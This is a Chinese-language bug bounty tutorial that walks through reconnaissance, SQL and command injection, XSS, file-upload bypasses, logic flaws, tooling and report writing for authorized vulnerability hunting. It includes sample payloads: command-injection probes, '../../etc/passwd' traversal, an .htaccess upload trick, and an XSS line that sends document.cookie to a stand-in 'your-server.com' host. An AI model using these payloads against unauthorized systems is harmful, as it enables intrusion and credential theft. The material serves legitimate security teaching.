SRC漏洞挖掘实战:从信息收集到逻辑漏洞的完整攻防体系
1. 项目概述从“脚本小子”到“赏金猎人”的蜕变之路“SRC漏洞挖掘”这七个字在安全圈里既是新手入门的敲门砖也是老手进阶的试金石。它不像电影里描绘的黑客那样充满神秘色彩更像是一场耐心、细致且逻辑严密的“数字侦探游戏”。简单来说SRCSecurity Response Center安全应急响应中心是企业设立的、面向公众的漏洞收集平台任何人发现其产品或服务的安全漏洞并提交都可能获得奖金或荣誉。而“挖掘”就是主动寻找这些漏洞的过程。我接触SRC挖洞快十年了从最初对着教程照猫画虎到后来能形成自己的狩猎思路中间踩过的坑、熬过的夜不计其数。这篇文章我想把我这些年沉淀下来的、最核心的思路、手法和心法毫无保留地分享出来。无论你是对网络安全充满好奇的零基础小白还是已经入门但苦于没有突破的爱好者收藏这一篇跟着我的节奏你都能建立起一套从信息收集到漏洞验证的完整实战体系真正实现从“知道”到“做到”的跨越。2. 核心思路拆解漏洞挖掘的本质是“理解”与“发现”很多人一上来就急着找工具、跑脚本结果往往事倍功半。我的经验是在动手之前必须先想明白两件事你在找什么以及它可能在哪里漏洞挖掘不是漫无目的的扫射而是有明确目标的狙击。2.1 思维转变从“攻击者”视角切换到“设计者”与“使用者”双视角这是最重要的一课。纯粹的“攻击者”思维容易陷入技术细节而忽略了业务逻辑。我的做法是扮演“设计者”拿到一个目标比如一个Web应用先别急着打开Burp Suite。试着思考如果我是开发这个功能的程序员我会怎么写这段代码为了实现某个业务比如用户上传头像我可能需要接收用户输入、处理文件、存储路径、返回结果。在这个过程中哪些环节我可能因为偷懒、疏忽或知识盲区而留下隐患是文件类型校验不严是存储路径直接拼接用户输入还是对第三方库的版本过于信任这种思考能帮你预判漏洞可能出现的位置。扮演“极端使用者”然后切换成“最不守规矩”的用户。我会尝试输入所有“不应该”被接受的输入超长的字符串、各种特殊字符 {} []、畸形的文件头、不符合预期的JSON或XML结构。我的目的是试探程序的“边界”和“异常处理”能力。很多逻辑漏洞比如越权访问、条件竞争都是通过模拟非常规的用户操作流程发现的。注意这种思维练习需要你对常见的Web技术栈前端JS、后端PHP/Java/Python、数据库SQL、服务器Nginx/Apache有基本的了解。不需要精通但要知道它们大概是如何协作的以及各自常见的“痛点”在哪里。2.2 方法论选择黑盒、白盒与灰盒根据你对目标代码和结构的了解程度方法也不同。对于SRC挖洞绝大多数情况是黑盒测试不知道内部代码少数情况如果目标开源或提供测试包可以是灰盒测试。黑盒测试核心专注于输入输出。我把应用程序看作一个黑箱子我只关心我输入什么它返回什么。任何返回结果的差异、延迟、错误信息都可能是漏洞的线索。这极度依赖信息收集的全面性和测试用例的构造能力。信息收集是基石可以说一次成功的挖掘70%的功劳在于全面且深入的信息收集。这不仅仅是找到目标的IP和域名。3. 深度信息收集绘制你的“攻击地图”信息收集不是简单跑一下子域名枚举工具就完事了。它是一个分层、渐进的过程目标是构建一个关于目标资产的立体画像。3.1 资产发现找到所有可能的入口点子域名枚举这是起点。工具很多如subfinder,amass,OneForAll。但关键不在于工具而在于字典的质量和数据源的组合。我会准备多个字典通用字典、针对目标行业的特定字典并交叉使用多个工具的API如VirusTotal, PassiveTotal, SecurityTrails以确保覆盖率。发现子域名后不仅要记录还要快速用httpx或nuclei做一下存活探测和标题抓取按业务功能如admin,api,dev,test,oa,mail初步分类。IP及C段探测通过子域名解析获取IP然后探查该IP所在的C段如192.168.1.0/24。为什么因为开发人员经常把测试环境、后台管理系统、未公开的API服务部署在同一网段但不同IP上这些资产的安全防护往往更弱。工具如masscan、nmap。这里要注意扫描的速率避免对目标造成压力。端口与服务识别对发现的IP进行端口扫描。不止是80443。要关注8080,8443,7001,9200Elasticsearch,6379Redis,27017MongoDB等常见非Web端口。一个暴露的Redis未授权访问危害可能比一个Web的XSS大得多。nmap -sV可以识别服务版本老版本的服务器软件如Apache 2.4.49本身就可能存在高危漏洞。3.2 指纹识别与架构描绘知道目标“用什么做的”知道目标运行了什么CMS、什么框架、什么中间件、什么前端库就等于知道了它的“武器库”和“盔甲”的型号你可以直接查找已知的漏洞或针对该技术的特性进行测试。Web指纹识别使用Wappalyzer浏览器插件或whatweb、EHole等工具。关注点CMS如WordPress, Joomla, Drupal。立刻去搜索该版本的历史漏洞。开发框架如Spring Boot, Django, Laravel。框架本身漏洞较少但其默认配置、知名插件/库可能有风险。前端框架如Vue.js, React。关注其与后端API的交互方式是否存在不安全的配置如Vue.config.devtools在生产环境开启。服务器/中间件Nginx, Apache, Tomcat, IIS。版本号很关键。JavaScript库如jQuery旧版本可能存在XSS漏洞。目录与文件扫描寻找那些被遗忘的“后门”。工具如dirsearch,gobuster。字典要强大但更要智能。我会针对识别出的指纹使用特定字典如扫描WordPress就用wp的字典。重点寻找备份文件.bak,.zip,.tar.gz,wwwroot.zip配置文件.git/config,.env,config.php,web.config版本控制文件.git/,.svn/,.DS_Store接口文档api-docs,swagger-ui.html测试或管理页面phpinfo.php,test.cgi,admin/,manage/3.3 敏感信息泄露挖掘搜索引擎与空间引擎的高级用法这是“人肉”与“自动化”的结合常能出奇制胜。Google Hacking谷歌语法这是必修技能。核心语法组合site:target.com filetype:pdf找PDF文档site:target.com inurl:admin找后台site:target.com “index of /” “parent directory”找目录遍历site:target.com “API_KEY” OR “apikey” OR “secret”找密钥site:github.com target.com “password” “config”在Github上搜索目标公司员工不小心上传的代码和配置 关键在于关键词的构思要站在开发、运维的角度去想他们可能给文件起什么名字里面会包含什么信息。网络空间测绘引擎如fofa,shodan,zoomeye。这是神器。语法示例FOFAdomaintarget.com找根域名资产host.target.com找子域名icon_hash-247xxxxxxx通过网站图标哈希找相同资产body某特定JS框架特征header某特定Server头port9000。你可以组合查询比如domaintarget.com port8080快速定位非标准端口的Web服务。这些引擎能发现很多常规扫描找不到的、隐藏在互联网角落的资产。证书透明度日志网站启用HTTPS时申请的SSL证书会被公开记录。通过crt.sh等网站可以用域名搜索到所有为该域名及其子域名颁发过的证书从而发现那些甚至没有DNS记录的子域名例如内部测试域名提前申请了证书。4. 漏洞挖掘手法详解针对不同漏洞类型的狩猎策略信息地图绘制完毕接下来就是按图索骥针对不同的区域使用不同的“武器”和“战术”。4.1 注入类漏洞SQL注入、命令注入、模板注入这类漏洞的本质是“数据与代码的混淆”用户输入被当作代码的一部分执行。SQL注入手工探测在任何输入点参数、Cookie、Header尝试添加、、\观察返回错误。如果出现数据库错误如MySQL, PostgreSQL, SQL Server等特定语法错误则存在注入点。自动化辅助用sqlmap但绝不能一上来就sqlmap -u “xxx” --batch。我的流程是 a. 手工找到一个可能存在注入的点如id1。 b. 用Burp Suite抓包将请求保存为req.txt。 c. 使用sqlmap -r req.txt --batch --random-agent --level 2 --risk 2进行初步探测。--level和--risk调高可以增加检测强度但也会产生更多请求。 d. 如果确认注入根据情况决定是否获取数据。对于SRC证明漏洞存在即可切勿拖库可以用--current-db、--current-user证明危害。盲注没有错误回显时通过时间延迟sleep(5)或布尔逻辑页面内容True/False差异判断。sqlmap可以自动检测但手工理解盲注原理至关重要。实战心得关注JSON格式的API接口、X-Forwarded-For等Header头这些地方常被开发者忽略。WAFWeb应用防火墙普遍存在的情况下学会简单的绕过技巧如用/**/代替空格用like代替用十六进制编码参数值。命令注入/模板注入寻找那些调用系统命令或渲染模板的功能点如网站ping功能、文件转换功能、内容生成功能。测试输入; whoami、| dir、$(id)、{{7*7}}针对Jinja2等模板、% 7*7 %针对ERB。如果过滤了空格尝试用${IFS}、%20、代替。如果过滤了分号尝试用、||、换行符%0a。4.2 跨站脚本漏洞反射型、存储型、DOM型XSS的核心是“浏览器将用户输入当作HTML/JS代码执行”。探测与利用基础Payloadscriptalert(1)/script、img srcx onerroralert(1)、 onmouseoveralert(1)。先测试这些最简单的看是否被过滤或转义。绕过技巧大小写/标签绕过ScRipt、img。事件处理器除了onerror还有onload、onmouseover、onfocus等。编码绕过HTML实体编码lt;、JS Unicode编码\u003c、URL编码。利用HTML5新特性/标签svg onloadalert(1)、details ontogglealert(1)。DOM型XSS这类漏洞的源头在前端JS代码不发送到服务器。需要用浏览器开发者工具的“调试器”跟踪数据流看用户输入是否未经净化就传入了innerHTML、document.write、eval、setTimeout等“危险函数”。测试时在输入中插入-alert(1)-或;alert(1)//观察是否被执行。升级危害证明对于SRC弹个alert(1)往往被认为危害低。你需要证明它能造成实际影响比如盗取Cookie构造Payload将当前用户的Cookie发送到你的服务器scriptfetch(https://your-server.com/steal?cookiedocument.cookie)/script。模拟用户操作构造表单自动提交修改用户密码或发表内容。截图/键盘记录通过加载外部JS实现更复杂的攻击需谨慎仅在授权测试中证明概念。4.3 文件上传漏洞从上传到getshell的路径这是获取服务器权限的捷径但现在的防御也越来越强。绕过前端校验直接抓包修改文件扩展名和Content-Type。绕过服务端校验黑名单绕过尝试php3,phtml,phps,php5,php7等。在Apache中.htaccess文件可以设置某些文件被当作PHP解析所以如果能上传.htaccess文件内容为AddType application/x-httpd-php .jpg那么后续上传的.jpg文件也会被当作PHP执行。白名单绕过如果只允许.jpg,.png。尝试文件头欺骗在PHP文件开头添加GIF89a等图片文件头。结合解析漏洞IIS 6.0的/xx.asp;.jpgNginx的文件名.jpg/xxx.php如果配置不当Apache的文件名.php.jpg如果存在xxx.php这样的畸形解析配置。二次渲染绕过针对图片重新生成缩略图的应用需要研究其渲染算法在图片中精心嵌入恶意代码而不被清除。这需要较深的功底。条件竞争攻击有些应用先保存上传文件再检查内容不合格则删除。利用这个时间差在文件被删除前快速访问并执行它。用Burp Suite的Turbo Intruder插件或Python多线程脚本连续发起上传和访问请求。4.4 逻辑漏洞业务层面的“降维打击”这是最体现“黑客思维”的地方自动化工具几乎无效全靠人脑推理。越权访问水平越权修改请求中的ID参数如/user/profile?id123尝试访问其他用户的资料。要系统性地测试所有带ID的功能点。垂直越权普通用户尝试访问管理员功能如/admin/deleteUser。通过抓取所有请求观察哪些功能URL或API接口是普通用户不该有的。不安全的直接对象引用通过修改参数访问系统内部对象如/download?file../../etc/passwd路径遍历或/api/user?userId1直接引用数据库ID。业务逻辑缺陷支付漏洞修改订单金额为负数、修改数量为极大值、重复提交订单、拦截请求修改支付状态。密码重置漏洞验证码爆破、验证码未绑定用户、修改接收手机/邮箱参数为攻击者的、跳过验证步骤直接访问重置链接。短信/邮箱轰炸未对发送频率做限制或限制可被绕过如修改IP、清除Cookie导致向目标手机/邮箱海量发送信息。竞争条件除了文件上传也常见于积分兑换、抽奖、库存扣减等场景。同时发起多个请求可能兑换多次或抽奖多次。4.5 组件与配置漏洞利用已知的“弱点”已知框架/库/中间件漏洞通过指纹识别到的版本号立刻去CVE.mitre.org、CNVD、Exploit-DB搜索公开漏洞。例如Spring Boot的Actuator端点未授权访问、Fastjson反序列化漏洞、ShirorememberMe密钥硬编码、Log4j2的JNDI注入等。这些漏洞往往有现成的利用工具如JNDI-Injection-Exploit危害极大。默认配置与信息泄露phpinfo.php页面、Tomcat默认管理后台弱口令、Elasticsearch的9200端口未授权访问、Redis的6379端口未授权访问并可写SSH公钥、Jenkins脚本控制台未授权访问、Swagger接口文档泄露所有API。5. 工具链与工作流打造你的自动化狩猎平台高手不是不用工具而是把工具用得行云流水形成自动化工作流把自己从重复劳动中解放出来专注于思考。侦察阶段综合工具recon-ng,theHarvester。用于初期广撒网式信息收集。子域名subfinderamass被动 massdns主动爆破。结果用httpx验证存活并获取标题、状态码。端口扫描masscan全端口快扫 nmap对开放端口进行深度服务识别和脚本扫描。目录扫描dirsearch/gobuster/ffuf。ffuf速度极快且过滤规则灵活。指纹识别Wappalyzer浏览器插件手动 whatweb/EHole命令行批量。漏洞扫描与探测阶段主动扫描器AWVS、Nessus、Xray。它们能覆盖很多常见漏洞但误报率高必须手动验证。我通常用它们做初步筛选标记出可疑点。被动扫描器Burp Suite的Scanner模块或Xray的被动模式。配置好代理然后手动浏览网站所有功能让工具在后台分析流量并标记潜在问题。这是我最推荐的方式结合了人的探索性和工具的自动化。专项检测工具SQL注入sqlmap。XSSXSStrike擅长绕过WAF、dalfox。参数爆破Arjun用于发现隐藏的HTTP参数。模板注入tplmap。漏洞利用与验证阶段瑞士军刀Burp Suite。它的Repeater重放、Intruder爆破、Decoder编码解码、Comparer对比是手工测试的核心。Extensions插件生态强大如Authz越权检测、AutoRepeater条件竞争、Turbo Intruder高性能爆破。浏览器调试Chrome Developer Tools。用于分析DOM型XSS、调试前端JS、监控网络请求、修改本地存储。请求库与脚本PythonRequests库。当遇到复杂逻辑或需要高度定制化的攻击链时自己写脚本是最灵活高效的。我的典型工作流是信息收集自动化脚本批量跑 - 资产整理与分类手动 - 重点目标人工浏览Burp Suite被动扫描开启 - 针对可疑点深度手工测试Burp Suite主动工具辅助 - 验证漏洞并编写报告。6. 报告撰写与提交临门一脚的艺术挖到漏洞只是成功了一半清晰、专业地报告才能确保漏洞被认可并获得奖励。报告内容标题简明扼要如“[目标域名] 存在SQL注入漏洞导致数据泄露”。漏洞等级参考目标的定级标准通常为Critical/High/Medium/Low/Info客观自评。漏洞URL完整的请求URL。漏洞参数触发漏洞的具体参数名。重现步骤这是核心。像写食谱一样一步一步让完全不懂的人也能复现。访问https://target.com/login。在用户名输入框输入admin--。密码任意输入。点击登录成功以管理员身份登入系统。请求与响应提供Burp Suite抓取的原始HTTP请求和响应包可适当脱敏敏感信息。如果是存储型漏洞需提供两次请求触发存储的和证明漏洞存在的。漏洞证明截图、视频GIF最佳。截图要包含浏览器地址栏和能证明漏洞的关键信息如数据库名、执行命令的回显、弹窗等。危害分析说明这个漏洞可能造成的影响如数据泄露、权限提升、系统控制等。要具体不要空谈。修复建议给出切实可行的修复方案如“对用户输入使用参数化查询”、“在输出前对用户数据进行HTML实体编码”等。提交注意事项遵守规则仔细阅读目标SRC的漏洞范围、测试规则、禁止事项如DoS攻击、社工、破坏数据。沟通态度礼貌、专业。如果对漏洞定级有异议可以有理有据地沟通。一洞一报每个独立的漏洞单独提交报告。保密在漏洞公开前不得在任何地方公开讨论漏洞细节。7. 心法、避坑与持续成长最后分享一些比技术更重要的东西。心态与习惯耐心挖洞常常是“山重水复疑无路”可能几天甚至几周一无所获。保持耐心把每一次测试都当作学习。细致关注细节。一个不起眼的错误信息、一个响应头的差异、一个JS文件里的注释都可能成为突破口。记录用好笔记软件如Notion, Obsidian。记录你的测试目标、测试用例、工具命令、成功和失败的案例。形成自己的知识库。法律与道德底线只在授权范围内测试。未经授权的测试是违法的。这是红线绝不能碰。常见“坑”与误区盲目扫射不进行信息收集和分析拿着扫描器乱扫效率极低且易被屏蔽。忽视逻辑漏洞只盯着SQL注入、XSS忽略了业务逻辑错过了很多高危漏洞。不验证扫描器结果把扫描器的报告直接当最终结果不进行手工验证可能误报或漏报。测试影响业务进行压力测试、暴力破解时没有控制速率把人家网站搞慢了甚至搞挂了。报告写得烂步骤不清晰、证据不完整、语言不专业导致漏洞被忽略或降级。如何持续提升复现公开漏洞在Exploit-DB、HackerOne的公开报告、各大安全社区找一些高质量的漏洞分析文章自己搭建环境复现。这是学习新思路最快的方法。阅读代码尝试阅读一些开源项目尤其是那些出过漏洞的的代码理解漏洞产生的根源。参与社区在安全论坛、博客、Twitter上关注顶尖的安全研究人员学习他们的思维和方法。广度与深度结合初期可以广撒网了解各种漏洞类型。后期选择一两个方向比如代码审计、IoT安全、区块链安全深入钻研成为专家。这条路没有捷径它需要持续的好奇心、强大的自学能力和大量的动手实践。从今天起选定一个合适的SRC平台通常从那些有公开漏洞披露、反馈及时的厂商开始按照本文的框架从一个子域名、一个输入框开始耐心地磨炼你的技艺。记住每一个漏洞的背后都是你对系统理解更深一分的证明。祝你狩猎愉快。